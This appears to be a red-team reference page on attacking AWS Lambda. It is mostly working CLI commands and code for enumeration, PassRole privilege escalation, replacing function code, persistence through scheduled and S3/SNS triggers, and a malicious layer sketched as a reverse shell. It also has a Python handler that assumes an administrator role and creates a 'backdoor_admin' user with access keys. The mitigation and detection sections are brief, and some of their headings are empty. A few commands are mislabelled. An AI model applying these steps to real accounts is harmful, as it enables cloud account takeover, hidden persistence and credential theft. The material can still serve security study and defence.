High Severity | T1526
λ Lambda Attack Techniques
🧠 Description
AWS Lambda is a serverless compute service that can be exploited for privilege escalation, persistence, data exfiltration, and computational resource abuse when misconfigured or when combined with other IAM vulnerabilities.
Why Lambda is a Target:
- Execution Role: Often has elevated IAM permissions
- Privilege Escalation: PassRole allows assuming higher-privilege roles
- Persistence: Cron triggers provide scheduled execution
- Data Access: Can read from S3, DynamoDB, RDS
- Stealth: Hard to detect malicious Lambda activity
🔍 Enumeration
List Lambda Functions:
# List all functions aws lambda list-functions --region us-east-1 # Get function details aws lambda get-function --function-name target-function # List function versions aws lambda list-versions-by-function --function-name target-function # List aliases aws lambda list-aliases --function-name target-function
Analyze Execution Role:
# Get IAM role for function
aws lambda get-function-configuration --function-name target \
--query 'Role' --output text
# Assume the role
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::123456789012:role/lambda-exec-role \
--action-names "*" --resource-arns "*"
# List attached policies
aws iam list-attached-role-policies --role-name lambda-exec-role
Check Triggers and Event Sources:
# Get event source mappings
aws lambda list-event-source-mappings --function-name target
# Check S3 trigger configuration
aws lambda get-function --function-name target \
--query 'Environment.Variables'
# Check CloudWatch triggers
aws events list-rules --region us-east-1
aws events list-targets-by-rule --rule lambda-trigger
🔓 Privilege Escalation via Lambda
Technique 1: PassRole + Lambda Execution:
# Create malicious Lambda function
zip -j payload.zip handler.py
aws lambda create-function \
--function-name privesc-func \
--runtime python3.9 \
--handler handler.main \
--zip-file fileb://payload.zip \
--role arn:aws:iam::123456789012:role/lambda-exec-role
# Invoke the function
aws lambda invoke --function-name privesc-func output.txt
# Or use event to trigger
aws lambda invoke --function-name privesc-func \
--payload '{"action": "escalate"}' output.txt
Technique 2: Update Existing Function Code:
# Download original function code
aws lambda get-function --function-name legitimate-func \
--query 'Code.Location' --output text | xargs curl -o function.zip
# Modify and update
# Create malicious handler.py
zip malicious.zip malicious.py
aws lambda update-function-code \
--function-name legitimate-func \
--zip-file fileb://malicious.zip
# Function will execute with its original role
Technique 3: Create Function with Admin Role:
# If you have lambda:CreateFunction + iam:PassRole
# Create function with admin role
aws lambda create-function \
--function-name admin-func \
--runtime python3.9 \
--handler shell.main \
--zip-file fileb://shell.zip \
--role arn:aws:iam::123456789012:role/AdministratorAccess
# Invoke to execute code with admin
Lambda Handler for Privilege Escalation:
import boto3
import json
def main(event, context):
# Get execution role credentials
sts = boto3.client('sts')
identity = sts.get_caller_identity()
# Assume admin role
assume_role = boto3.client('sts')
response = assume_role.assume_role(
RoleArn='arn:aws:iam::123456789012:role/AdministratorAccess',
RoleSessionName='lambda-escalation'
)
# Use admin credentials
access_key = response['Credentials']['AccessKeyId']
secret_key = response['Credentials']['SecretAccessKey']
session_token = response['Credentials']['SessionToken']
# Exfiltrate or create backdoor
iam = boto3.client('iam',
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token
)
# Create backdoor user
iam.create_user(UserName='backdoor_admin')
iam.attach_user_policy(
UserName='backdoor_admin',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
keys = iam.create_access_key(UserName='backdoor_admin')
return {'status': 'exfiltrated', 'keys': keys}
🎯 Persistence Mechanisms
1. CloudWatch Event Trigger:
# Create recurring event trigger
aws events put-rule --name "DailyLambdaRun" \
--schedule-expression "rate(1 day)" \
--state ENABLED
aws lambda add-permission \
--function-name backdoor-func \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--statement-id events-trigger \
--source-arn arn:aws:events:us-east-1:123456789012:rule/DailyLambdaRun
aws events put-targets \
--rule DailyLambdaRun \
--targets Id=1,Arn=arn:aws:lambda:us-east-1:123456789012:function:backdoor-func
2. S3 Trigger Backdoor:
# Create Lambda triggered on S3 upload
aws lambda create-function --function-name s3-monitor ...
aws lambda add-permission \
--function-name s3-monitor \
--action lambda:InvokeFunction \
--principal s3.amazonaws.com \
--statement-id s3-trigger \
--source-arn arn:aws:s3:::target-bucket
# S3 bucket notification
aws s3api put-bucket-notification-configuration \
--bucket target-bucket \
--notification-configuration '{
"LambdaFunctionConfigurations": [{
"LambdaFunctionArn": "arn:aws:lambda:us-east-1:123456789012:function:s3-monitor",
"Events": ["s3:ObjectCreated:*"]
}]
}'
3. SNS Trigger:
# Lambda triggered via SNS
aws sns subscribe \
--topic-arn arn:aws:sns:us-east-1:123456789012:lambda-trigger \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:123456789012:function:backdoor-func
# Any SNS message triggers Lambda
📤 Data Exfiltration
Read from Connected Services:
Lambda Environment Variables:
# Check for secrets in environment
aws lambda get-function-configuration --function-name target \
--query 'Environment.Variables'
# If you can update, inject secrets
aws lambda update-function-configuration \
--function-name target \
--environment "Variables={AWS_ACCESS_KEY_ID=...,AWS_SECRET_ACCESS_KEY=...}"
📦 Lambda Layers Exploitation
Create Malicious Layer:
# Create layer with reverse shell
mkdir layer
echo '#!/bin/bash' > layer/python/reverse.py
echo 'import socket,subprocess' >> layer/python/reverse.py
# ... full shell code ...
zip -r malicious-layer.zip layer/
aws lambda publish-layer-version \
--layer-name backdoor-layer \
--zip-file fileb://malicious-layer.zip \
--compatible-runtimes python3.9 python3.10
# Attach to function
aws lambda update-function-configuration \
--function-name target-func \
--layers arn:aws:lambda:us-east-1:123456789012:layer:backdoor-layer:1
Inject into Existing Function:
🛡️ Mitigation
✅ Secure Lambda Configuration:
- Least Privilege: Lambda roles should have minimal permissions
- No PassRole: Lambda roles should NOT have iam:PassRole
- VPC Isolation: Run Lambda in VPC with no internet access
- Encrypt Secrets: Use KMS for environment variables
- Code Signing: Enable for Lambda functions
- Disable outdated runtimes: Use latest versions
GuardDuty Coverage:
# Findings to monitor - Persistence:Lambda/FunctionActivity - PrivilegeEscalation:Lambda/PassRoleInjection - DefenseEvasion:Lambda/DeleteActivity - Exfiltration:Lambda/RegionExfiltration
🔍 Detection
CloudTrail Queries:
CloudWatch Alert Example:
🛠️ Tools
- pacu: AWS exploitation framework with Lambda modules
- leaky: Find sensitive data in Lambda environment variables
- enumerate-iam: Enumerate Lambda execution role permissions
Pacu Lambda Module:
cd pacu python3 pacu.py # load# run lambda__enum # run lambda__privesc_scan